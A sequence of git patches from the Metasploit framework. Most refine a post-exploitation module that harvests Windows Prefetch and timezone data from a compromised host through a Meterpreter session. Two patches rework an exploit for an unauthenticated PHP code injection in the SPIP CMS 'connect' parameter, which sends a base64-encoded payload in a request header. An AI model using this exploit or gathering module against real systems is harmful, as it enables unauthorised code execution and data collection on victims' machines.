print_line("%s\t%s\t%s\t\t%s\t%-30s" % [creat, lmod, prun, phash, pname]) - client.railgun.kernel32.CloseHandle(handle) - end - end - - - def run - - print_status("Prefetch Gathering started.") - - if not is_admin? - print_error("You don't have enough privileges. Try getsystem.") - return nil - end - - begin - - sysnfo = client.sys.config.sysinfo['OS'] - - # Check to see what Windows Version is running. - # Needed for offsets. - # Tested on WinXP and Win7 systems. Should work on WinVista & Win2k3.. - # http://www.forensicswiki.org/wiki/Prefetch - # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format - if sysnfo =~/(Windows XP)/ # Offsets for WinXP - print_good("Detected Windows XP") - name_offset = 0x10 - hash_offset = 0x4C - lastrun_offset = 0x78 - runcount_offset = 0x90 - - elsif sysnfo =~/(Windows 7)/ # Offsets for Win7 - print_good("Detected Windows 7") - name_offset = 0x10 - hash_offset = 0x4C - lastrun_offset = 0x80 - runcount_offset = 0x98 - else - print_error("No offsets for the target Windows version.") - return nil - end - - print_status("Searching for Prefetch Registry Value.") - prefetch_key_value - print_status("Searching for TimeZone Registry Value.") - timezone_key_value(sysnfo) - - sysroot = client.fs.file.expand_path("%SYSTEMROOT%") - full_path = sysroot + "\\Prefetch\\" - file_type = "*.pf" - - print_line("\nCreated (MACE)\t\tModified (MACE)\t\tRun Count\tHash\t\tFilename") - # Conversion between different timezones is hard because of X amount of factors - # so the representation of time is more relative than absolute. Years and months - # and most of the time days will match but the exact time is more vague. - - print_line("(Because of time conversion issues these times are more relative than absolute.)\n") - - getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=-1) - getfile_prefetch_filenames.each do |file| - if file.empty? or file.nil? - print_error("No files or not enough privileges.") - return nil - - else - filename = File.join(file['path'], file['name']) - gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) - end - end - end - print_good("Finished gathering information from prefetch files.") - end -end From 6956003949d7ef9111b83680eea86a8590082cf2 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Sun, 14 Jul 2013 17:24:27 +0300 Subject: [PATCH 050/454] Everything working on this version. --- modules/post/windows/gather/enum_prefetch.rb | 60 ++++++++++++++------ 1 file changed, 44 insertions(+), 16 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 7342e63a6d22f..88fa8968c7d9e 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -53,7 +53,7 @@ def timezone_key_value(sysnfo) if key_value.empty? or key_value.nil? print_line("Couldn't find key/value for timezone from registry.") else - print_good("Remote timezone: %s" % key_value.to_s) + print_good("Remote: Timezone is %s" % key_value.to_s) end elsif sysnfo =~/(Windows XP)/ @@ -62,7 +62,7 @@ def timezone_key_value(sysnfo) if key_value.empty? or key_value.nil? print_line("Couldn't find key/value for timezone from registry.") else - print_good("Remote timezone: %s" % key_value.to_s) + print_good("Remote: Timezone is %s" % key_value.to_s) end else print_error("Unknown system. Can't find timezone value from registry.") @@ -71,9 +71,28 @@ def timezone_key_value(sysnfo) end + def timezone_bias() + # Looks for the timezone difference in minutes from registry + reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) + key_value = reg_key.query_value("Bias").data + if key_value.nil? + print_error("Couldn't find bias from registry") + else + if key_value < 0xfff + bias = key_value + print_good("Remote: localtime bias to UTC: -%s minutes." % bias) + else + offset = 0xffffffff + bias = offset - key_value + print_good("Remote: localtime bias to UTC: +%s minutes." % bias) + end + end + reg_key.close + end + + def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) # This function seeks and gathers information from specific offsets. - # It also updates the last access time of the file. h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) if h['GetLastError'] != 0 @@ -100,18 +119,20 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs # Finds the LastModified timestamp (MACE) lm = client.priv.fs.get_file_mace(filename) - lmod = lm['Modified'].utc.to_s[0..-4] # Not really UTC but localtime + lmod = lm['Modified'].utc.to_s # Finds the Creation timestamp (MACE) cr = client.priv.fs.get_file_mace(filename) - creat = cr['Created'].utc.to_s[0..-4] # Not really UTC but localtime + creat = cr['Created'].utc.to_s - print_line("%s\t%s\t%s\t\t%s\t%-30s" % [creat, lmod, prun, phash, pname]) + # Prints the results and closes the file handle + print_line("%s\t\t%s\t\t%s\t%s\t%-30s" % [creat, lmod, prun, phash, pname]) client.railgun.kernel32.CloseHandle(handle) end end + def run print_status("Prefetch Gathering started.") @@ -121,24 +142,27 @@ def run return nil end + begin - sysnfo = client.sys.config.sysinfo['OS'] # Check to see what Windows Version is running. # Needed for offsets. # Tested on WinXP and Win7 systems. Should work on WinVista & Win2k3.. # http://www.forensicswiki.org/wiki/Prefetch - # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format + # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format' + + sysnfo = client.sys.config.sysinfo['OS'] + if sysnfo =~/(Windows XP)/ # Offsets for WinXP - print_good("Detected Windows XP") + print_good("Detected Windows XP (max 128 entries)") name_offset = 0x10 hash_offset = 0x4C lastrun_offset = 0x78 runcount_offset = 0x90 elsif sysnfo =~/(Windows 7)/ # Offsets for Win7 - print_good("Detected Windows 7") + print_good("Detected Windows 7 (max 128 entries)") name_offset = 0x10 hash_offset = 0x4C lastrun_offset = 0x80 @@ -149,21 +173,24 @@ def run end print_status("Searching for Prefetch Registry Value.") + prefetch_key_value + print_status("Searching for TimeZone Registry Value.") + timezone_key_value(sysnfo) + timezone_bias + + print_good("Current UTC Time: %s" % Time.now.utc) sysroot = client.fs.file.expand_path("%SYSTEMROOT%") full_path = sysroot + "\\Prefetch\\" file_type = "*.pf" - print_line("\nCreated (MACE)\t\tModified (MACE)\t\tRun Count\tHash\t\tFilename") - # Conversion between different timezones is hard because of X amount of factors - # so the representation of time is more relative than absolute. Years and months - # and most of the time days will match but the exact time is more vague. - - print_line("(Because of time conversion issues these times are more relative than absolute.)\n") + print_line("\nCreated (MACE)\t\t\tModified (MACE)\t\tRun Count\tHash\t\tFilename\n") + # Goes through the files in Prefetch directory, creates file paths for the + # gather_prefetch_info function that enumerates all the pf info getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=-1) getfile_prefetch_filenames.each do |file| if file.empty? or file.nil? @@ -176,6 +203,7 @@ def run end end end + print_line("\n") print_good("Finished gathering information from prefetch files.") end end From 90107b82e11c65f9fa226e2ce8694218e11530a3 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Mon, 15 Jul 2013 00:19:32 +0300 Subject: [PATCH 051/454] Minor mods --- modules/post/windows/gather/enum_prefetch.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 88fa8968c7d9e..7b8543faed27f 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -150,7 +150,7 @@ def run # Needed for offsets. # Tested on WinXP and Win7 systems. Should work on WinVista & Win2k3.. # http://www.forensicswiki.org/wiki/Prefetch - # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format' + # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format sysnfo = client.sys.config.sysinfo['OS'] @@ -168,7 +168,7 @@ def run lastrun_offset = 0x80 runcount_offset = 0x98 else - print_error("No offsets for the target Windows version.") + print_error("No offsets for the target Windows version. Currently works on WinXP and Win7.") return nil end @@ -176,7 +176,7 @@ def run prefetch_key_value - print_status("Searching for TimeZone Registry Value.") + print_status("Searching for TimeZone Registry Values.") timezone_key_value(sysnfo) timezone_bias From 4265141a1188a23a1c93137ec01ae0e09d916470 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Mon, 15 Jul 2013 13:15:39 +0300 Subject: [PATCH 052/454] minor modifications --- modules/post/windows/gather/enum_prefetch.rb | 34 ++++++++++---------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 7b8543faed27f..8b3ebde16218e 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -53,7 +53,7 @@ def timezone_key_value(sysnfo) if key_value.empty? or key_value.nil? print_line("Couldn't find key/value for timezone from registry.") else - print_good("Remote: Timezone is %s" % key_value.to_s) + print_good("Remote: Timezone is %s" % key_value) end elsif sysnfo =~/(Windows XP)/ @@ -62,7 +62,7 @@ def timezone_key_value(sysnfo) if key_value.empty? or key_value.nil? print_line("Couldn't find key/value for timezone from registry.") else - print_good("Remote: Timezone is %s" % key_value.to_s) + print_good("Remote: Timezone is %s" % key_value) end else print_error("Unknown system. Can't find timezone value from registry.") @@ -71,24 +71,24 @@ def timezone_key_value(sysnfo) end - def timezone_bias() - # Looks for the timezone difference in minutes from registry - reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) - key_value = reg_key.query_value("Bias").data - if key_value.nil? - print_error("Couldn't find bias from registry") + def timezone_bias() + # Looks for the timezone difference in minutes from registry + reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) + key_value = reg_key.query_value("Bias").data + if key_value.nil? + print_error("Couldn't find bias from registry") + else + if key_value < 0xfff + bias = key_value + print_good("Remote: localtime bias to UTC: -%s minutes." % bias) else - if key_value < 0xfff - bias = key_value - print_good("Remote: localtime bias to UTC: -%s minutes." % bias) - else - offset = 0xffffffff - bias = offset - key_value - print_good("Remote: localtime bias to UTC: +%s minutes." % bias) - end + offset = 0xffffffff + bias = offset - key_value + print_good("Remote: localtime bias to UTC: +%s minutes." % bias) end - reg_key.close end + reg_key.close + end def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) From 4801aab4c4d47fcfb14aa4b4890db04c186ae013 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Mon, 15 Jul 2013 15:38:42 +0300 Subject: [PATCH 053/454] loot.txt broken --- modules/post/windows/gather/enum_prefetch.rb | 46 ++++++++++++++------ 1 file changed, 33 insertions(+), 13 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 8b3ebde16218e..70dc324609e4d 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -91,7 +91,8 @@ def timezone_bias() end - def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) + def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename, table) + # This function seeks and gathers information from specific offsets. h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) @@ -105,7 +106,7 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) name = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) x = name['lpBuffer'] - pname = x.slice(0..x.index("\x00\x00")).to_s + pname = x.slice(0..x.index("\x00\x00")) # Finds the run count from the prefetch file client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) @@ -115,7 +116,7 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs # Finds the hash. client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, 0) hh = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - phash = hh['lpBuffer'].unpack('h*')[0].reverse.to_s + phash = hh['lpBuffer'].unpack('h*')[0].reverse # Finds the LastModified timestamp (MACE) lm = client.priv.fs.get_file_mace(filename) @@ -126,7 +127,13 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs creat = cr['Created'].utc.to_s # Prints the results and closes the file handle - print_line("%s\t\t%s\t\t%s\t%s\t%-30s" % [creat, lmod, prun, phash, pname]) + if name.nil? or count.nil? or hh.nil? or lm.nil? or cr.nil? + print_error("Could not access file: %s." % filename) + else + #print_line("%s\t\t%s\t\t%s\t%s\t%-30s" % [creat, lmod, prun, phash, pname]) + table << [lmod,creat,prun,phash,pname] + end + #print_line("%s\t\t%s\t\t%s\t%s\t%-30s" % [creat, lmod, prun, phash, pname]) client.railgun.kernel32.CloseHandle(handle) end end @@ -145,7 +152,6 @@ def run begin - # Check to see what Windows Version is running. # Needed for offsets. # Tested on WinXP and Win7 systems. Should work on WinVista & Win2k3.. @@ -172,6 +178,19 @@ def run return nil end + table = Rex::Ui::Text::Table.new( + 'Header' => "Prefetch Information", + 'Indent' => 1, + 'Width' => 110, + 'Columns' => + [ + "Modified (mace)", + "Created (mace)", + "Run Count", + "Hash", + "Filename" + ]) + print_status("Searching for Prefetch Registry Value.") prefetch_key_value @@ -186,24 +205,25 @@ def run sysroot = client.fs.file.expand_path("%SYSTEMROOT%") full_path = sysroot + "\\Prefetch\\" file_type = "*.pf" - - print_line("\nCreated (MACE)\t\t\tModified (MACE)\t\tRun Count\tHash\t\tFilename\n") + print_status("Gathering information from remote system. This will take awhile..") # Goes through the files in Prefetch directory, creates file paths for the # gather_prefetch_info function that enumerates all the pf info getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=-1) getfile_prefetch_filenames.each do |file| if file.empty? or file.nil? - print_error("No files or not enough privileges.") - return nil - + print_error("Could not open file: %s." % file['name']) else filename = File.join(file['path'], file['name']) - gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) + gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename, table) end end end - print_line("\n") - print_good("Finished gathering information from prefetch files.") + + results = table.to_s + loot = store_loot("prefetch_info", "text/plain", session, results, nil, "Prefetch Information") + print_line("\n" + results + "\n") + print_status("Finished gathering information from prefetch files.") + print_status("Results stored in: #{loot}") end end From 2349ee72760a5356b7b9aaa74c28dfca216135f0 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Mon, 15 Jul 2013 16:07:45 +0300 Subject: [PATCH 054/454] Working version --- modules/post/windows/gather/enum_prefetch.rb | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 70dc324609e4d..dda61b7222c05 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -8,7 +8,6 @@ require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' -require 'time' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv @@ -106,7 +105,7 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) name = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) x = name['lpBuffer'] - pname = x.slice(0..x.index("\x00\x00")) + pname = Rex::Text.to_ascii(x.slice(0..x.index("\x00\x00"))) # Finds the run count from the prefetch file client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) @@ -130,10 +129,8 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs if name.nil? or count.nil? or hh.nil? or lm.nil? or cr.nil? print_error("Could not access file: %s." % filename) else - #print_line("%s\t\t%s\t\t%s\t%s\t%-30s" % [creat, lmod, prun, phash, pname]) table << [lmod,creat,prun,phash,pname] end - #print_line("%s\t\t%s\t\t%s\t%s\t%-30s" % [creat, lmod, prun, phash, pname]) client.railgun.kernel32.CloseHandle(handle) end end @@ -174,14 +171,13 @@ def run lastrun_offset = 0x80 runcount_offset = 0x98 else - print_error("No offsets for the target Windows version. Currently works on WinXP and Win7.") + print_error("No offsets for the target Windows version. Currently works only on WinXP and Win7.") return nil end table = Rex::Ui::Text::Table.new( 'Header' => "Prefetch Information", 'Indent' => 1, - 'Width' => 110, 'Columns' => [ "Modified (mace)", From bc44d42888c46204803b5a36393d398b98c755b6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 15 Jul 2013 09:43:28 -0500 Subject: [PATCH 055/454] Move module to unix/webapps --- modules/exploits/{linux/http => unix/webapp}/spip_connect_exec.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/{linux/http => unix/webapp}/spip_connect_exec.rb (100%) diff --git a/modules/exploits/linux/http/spip_connect_exec.rb b/modules/exploits/unix/webapp/spip_connect_exec.rb similarity index 100% rename from modules/exploits/linux/http/spip_connect_exec.rb rename to modules/exploits/unix/webapp/spip_connect_exec.rb From 3a8856ae7ffbf89554e4c70262937040edb0c27b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 15 Jul 2013 09:44:05 -0500 Subject: [PATCH 056/454] Apply review to spip_connect_exec --- .../exploits/unix/webapp/spip_connect_exec.rb | 113 +++++++++--------- 1 file changed, 58 insertions(+), 55 deletions(-) diff --git a/modules/exploits/unix/webapp/spip_connect_exec.rb b/modules/exploits/unix/webapp/spip_connect_exec.rb index 2175d1f04c850..18807b4d828e2 100644 --- a/modules/exploits/unix/webapp/spip_connect_exec.rb +++ b/modules/exploits/unix/webapp/spip_connect_exec.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'base64' class Metasploit3 < Msf::Exploit::Remote @@ -14,37 +13,31 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'SPIP Connect Parameter Injection', + 'Name' => 'SPIP connect Parameter PHP Injection', 'Description' => %q{ - This module exploits a PHP code injection in SPIP. The vulnerability - exists in the connect parameter and allows an unauthenticated user - to execute arbitrary commands with web user privileges. Branchs 2.0/2.1/3 are concerned. - Vulnerable versions are < 2.0.21 & < 2.1.16 & < 3.0.3. - The module has been tested successfully with SPIP 2.0.11/Apache on Ubuntu and Fedora. + This module exploits a PHP code injection in SPIP. The vulnerability exists in the + connect parameter and allows an unauthenticated user to execute arbitrary commands + with web user privileges. Branchs 2.0, 2.1 and 3 are concerned. Vulnerable versions + are <2.0.21, <2.1.16 and < 3.0.3, but this module works only against branch 2.0 and + has been tested successfully with SPIP 2.0.11 and SPIP 2.0.20 with Apache on Ubuntu + and Fedora linux distributions. }, - 'Author' => + 'Author' => [ 'Arnaud Pachot', #Initial discovery 'Davy Douhine and Frederic Cikala', #PoC 'Davy Douhine', #MSF module ], - 'License' => MSF_LICENSE, - 'References' => + 'License' => MSF_LICENSE, + 'References' => [ + [ 'OSVDB', '83543' ], [ 'BID', '54292' ], [ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ] ], - 'Platform' => ['unix'], - 'Arch' => ARCH_CMD, - 'Payload' => - { - 'Space' => 1024, - 'DisableNops' => true, - 'Compat' => - { - 'PayloadType' => 'cmd', - } - }, + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic', { } ] @@ -58,42 +51,52 @@ def initialize(info = {}) ], self.class) end - def exploit - uri = normalize_uri(target_uri.path, 'spip.php') - print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD']) - - # Very dirty trick ! - # The SPIP server answers an HTML page which contains the ouput of the executed command on target. - # To easily extract the command output a header and a trailer are used. - # Then the whole thing (header + CMD + trailer) is base64 encoded to avoid spaces/special char filtering - # The header and the trailer will then be used to display the result (print_status) - # Rex::Text.encode_base64() instead? - cmd64 = Rex::Text.encode_base64("echo \"-123-\";#{datastore['CMD']}\;echo \"-456-\";") - - # Another dirty trick ! - # A character is added in the trailer to make the cmd64 string longer and avoid SPIP "=" filtering. - if cmd64.include?("=") - cmd64 = Rex::Text.encode_base64("echo \"-123-\";#{datastore['CMD']}\;echo \"-456--\";") + def check + version = nil + uri = normalize_uri(target_uri.path, "spip.php") + + res = send_request_cgi({ 'uri' => "#{uri}" }) + + if res and res.code == 200 and res.body =~ / uri, - 'method' => 'POST', - 'data' => data_cmd - }) - if (res) - # Extracting the output of the executed command (using the dirty trick) - result = res.body.to_s.split("-123-").last.to_s.split("-456-").first - print_status("Output: #{result}") - end + vprint_status("SPIP Version detected: #{version}") + + if version =~ /^2\.0/ and version < "2.0.21" + return Exploit::CheckCode::Vulnerable + elsif version =~ /^2\.1/ and version < "2.1.16" + return Exploit::CheckCode::Appears + elsif version =~ /^3\.0/ and version < "3.0.3" + return Exploit::CheckCode::Appears end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + + return Exploit::CheckCode::Safe + end + + def exploit + uri = normalize_uri(target_uri.path, 'spip.php') + print_status("#{rhost}:#{rport} - Attempting to exploit...") + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'POST', + 'vars_post' => { + 'connect' => "?>", + }, + 'headers' => { + 'Cmd' => Rex::Text.encode_base64(payload.encoded) + } + }) + end + end From 26f28ae47e6b92dfbb23cc799255a6f705b796fb Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Mon, 15 Jul 2013 17:51:55 +0300 Subject: [PATCH 057/454] Minor cleaup --- modules/post/windows/gather/enum_prefetch.rb | 86 ++++++++------------ 1 file changed, 36 insertions(+), 50 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index dda61b7222c05..60835a3b6334b 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -44,49 +44,29 @@ def prefetch_key_value() reg_key.close end - def timezone_key_value(sysnfo) - - if sysnfo =~/(Windows 7)/ - reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) - key_value = reg_key.query_value("TimeZoneKeyName").data - if key_value.empty? or key_value.nil? - print_line("Couldn't find key/value for timezone from registry.") - else - print_good("Remote: Timezone is %s" % key_value) - end - - elsif sysnfo =~/(Windows XP)/ - reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) - key_value = reg_key.query_value("StandardName").data - if key_value.empty? or key_value.nil? + def timezone_key_values(key_value) + # Looks for timezone from registry + timezone_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) + if timezone_key.nil? print_line("Couldn't find key/value for timezone from registry.") else - print_good("Remote: Timezone is %s" % key_value) - end - else - print_error("Unknown system. Can't find timezone value from registry.") - end - reg_key.close - end - - - def timezone_bias() - # Looks for the timezone difference in minutes from registry - reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) - key_value = reg_key.query_value("Bias").data - if key_value.nil? - print_error("Couldn't find bias from registry") - else - if key_value < 0xfff - bias = key_value - print_good("Remote: localtime bias to UTC: -%s minutes." % bias) - else - offset = 0xffffffff - bias = offset - key_value - print_good("Remote: localtime bias to UTC: +%s minutes." % bias) + timezone = timezone_key.query_value(key_value).data + tzbias = timezone_key.query_value("Bias").data + if timezone.nil? or tzbias.nil? + print_error("Couldn't find timezone information from registry.") + else + print_good("Remote: Timezone is %s." % timezone) + if tzbias < 0xfff + bias = tzbias + print_good("Remote: Localtime bias to UTC: -%s minutes." % bias) + else + offset = 0xffffffff + bias = offset - tzbias + print_good("Remote: Localtime bias to UTC: +%s minutes." % bias) + end + end end - end - reg_key.close + timezone_key.close end @@ -113,19 +93,19 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs prun = count['lpBuffer'].unpack('L*')[0] # Finds the hash. - client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, 0) + client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, nil) hh = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) phash = hh['lpBuffer'].unpack('h*')[0].reverse # Finds the LastModified timestamp (MACE) lm = client.priv.fs.get_file_mace(filename) - lmod = lm['Modified'].utc.to_s + lmod = lm['Modified'].utc # Finds the Creation timestamp (MACE) cr = client.priv.fs.get_file_mace(filename) - creat = cr['Created'].utc.to_s + creat = cr['Created'].utc - # Prints the results and closes the file handle + # Saves the results to the table and closes the file handle if name.nil? or count.nil? or hh.nil? or lm.nil? or cr.nil? print_error("Could not access file: %s." % filename) else @@ -136,7 +116,6 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs end - def run print_status("Prefetch Gathering started.") @@ -157,19 +136,26 @@ def run sysnfo = client.sys.config.sysinfo['OS'] - if sysnfo =~/(Windows XP)/ # Offsets for WinXP + if sysnfo =~/(Windows XP)/ + # Offsets for WinXP print_good("Detected Windows XP (max 128 entries)") name_offset = 0x10 hash_offset = 0x4C lastrun_offset = 0x78 runcount_offset = 0x90 + # Registry key for timezone + key_value = "StandardName" - elsif sysnfo =~/(Windows 7)/ # Offsets for Win7 + elsif sysnfo =~/(Windows 7)/ + # Offsets for Win7 print_good("Detected Windows 7 (max 128 entries)") name_offset = 0x10 hash_offset = 0x4C lastrun_offset = 0x80 runcount_offset = 0x98 + # Registry key for timezone + key_value = "TimeZoneKeyName" + else print_error("No offsets for the target Windows version. Currently works only on WinXP and Win7.") return nil @@ -191,10 +177,9 @@ def run prefetch_key_value - print_status("Searching for TimeZone Registry Values.") + print_status("\nSearching for TimeZone Registry Values.") - timezone_key_value(sysnfo) - timezone_bias + timezone_key_values(key_value) print_good("Current UTC Time: %s" % Time.now.utc) @@ -216,6 +201,7 @@ def run end end + # Stores and prints out results results = table.to_s loot = store_loot("prefetch_info", "text/plain", session, results, nil, "Prefetch Information") print_line("\n" + results + "\n") From 5d767fe31967b7803b1661d9186109522791576f Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Mon, 15 Jul 2013 19:34:44 +0300 Subject: [PATCH 058/454] Minor mods --- modules/post/windows/gather/enum_prefetch.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 60835a3b6334b..12d75c246affd 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -176,8 +176,8 @@ def run print_status("Searching for Prefetch Registry Value.") prefetch_key_value - - print_status("\nSearching for TimeZone Registry Values.") + print_line("") + print_status("Searching for TimeZone Registry Values.") timezone_key_values(key_value) From 315874a8826e637c19e350ca9602812fd853ef70 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Mon, 15 Jul 2013 23:19:17 +0300 Subject: [PATCH 059/454] Minor fixes --- modules/post/windows/gather/enum_prefetch.rb | 33 ++++++++++---------- 1 file changed, 17 insertions(+), 16 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 12d75c246affd..3edafa131116b 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -4,25 +4,22 @@ # web site for more information on licensing and terms of use. # http://metasploit.com/ ## - require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' - class Metasploit3 < Msf::Post - include Msf::Post::Windows::Priv - - def initialize(info={}) - super(update_info(info, - 'Name' => 'Windows Gather Prefetch File Information', - 'Description' => %q{This module gathers prefetch file information from WinXP & Win7 systems.}, - 'License' => MSF_LICENSE, - 'Author' => ['TJ Glad '], - 'Platform' => ['win'], - 'SessionType' => ['meterpreter'] - )) - - end + include Msf::Post::Windows::Priv + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Gather Prefetch File Information', + 'Description' => %q{This module gathers prefetch file information from WinXP & Win7 systems.}, + 'License' => MSF_LICENSE, + 'Author' => ['TJ Glad '], + 'Platform' => ['win'], + 'SessionType' => ['meterpreter'] + )) + end def prefetch_key_value() @@ -73,7 +70,7 @@ def timezone_key_values(key_value) def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename, table) # This function seeks and gathers information from specific offsets. - h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) + h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", nil) if h['GetLastError'] != 0 print_error("Error opening a file handle.") @@ -190,11 +187,14 @@ def run # Goes through the files in Prefetch directory, creates file paths for the # gather_prefetch_info function that enumerates all the pf info + getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=-1) getfile_prefetch_filenames.each do |file| if file.empty? or file.nil? print_error("Could not open file: %s." % file['name']) + else + filename = File.join(file['path'], file['name']) gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename, table) end @@ -207,5 +207,6 @@ def run print_line("\n" + results + "\n") print_status("Finished gathering information from prefetch files.") print_status("Results stored in: #{loot}") + end end 